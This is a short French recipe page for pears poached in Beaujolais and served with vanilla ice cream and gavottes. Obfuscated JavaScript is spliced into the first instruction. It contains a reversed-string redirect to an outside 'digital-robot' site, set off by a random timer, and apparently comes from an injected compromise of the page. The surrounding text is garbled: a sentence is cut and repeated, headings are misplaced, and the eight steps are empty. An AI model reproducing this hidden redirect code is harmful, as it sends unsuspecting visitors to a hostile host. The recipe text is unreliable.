Poires pochées dans le beaujolais
2021-06-08- Thématique : Végétarien
- Niveau : Difficile
Versez dans une casserole le beaujolais avec le sucre, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant portez à ébullition. Plongez les poires, faites les pocher pendant 20 minutes sur feu doux.
Ingrédients
Versez dans une casserole le beaujolais avec le sucre, tout en remuant portez à ébullition. Plongez les poires, faites les pocher pendant 20 minutes sur feu doux. Vérifiez la cuisson avec la pointe d'un couteau. Retirez les poires délicatement. Réservez. Faites réduire le sirop jusqu'à ce qu'il épaississe, faites infuser les poires toute une nuit dans ce sirop.
Le lendemain, dégustez les poires froides accompagnées de boule de glace à la vanille et des gavottes. Dégustez frais
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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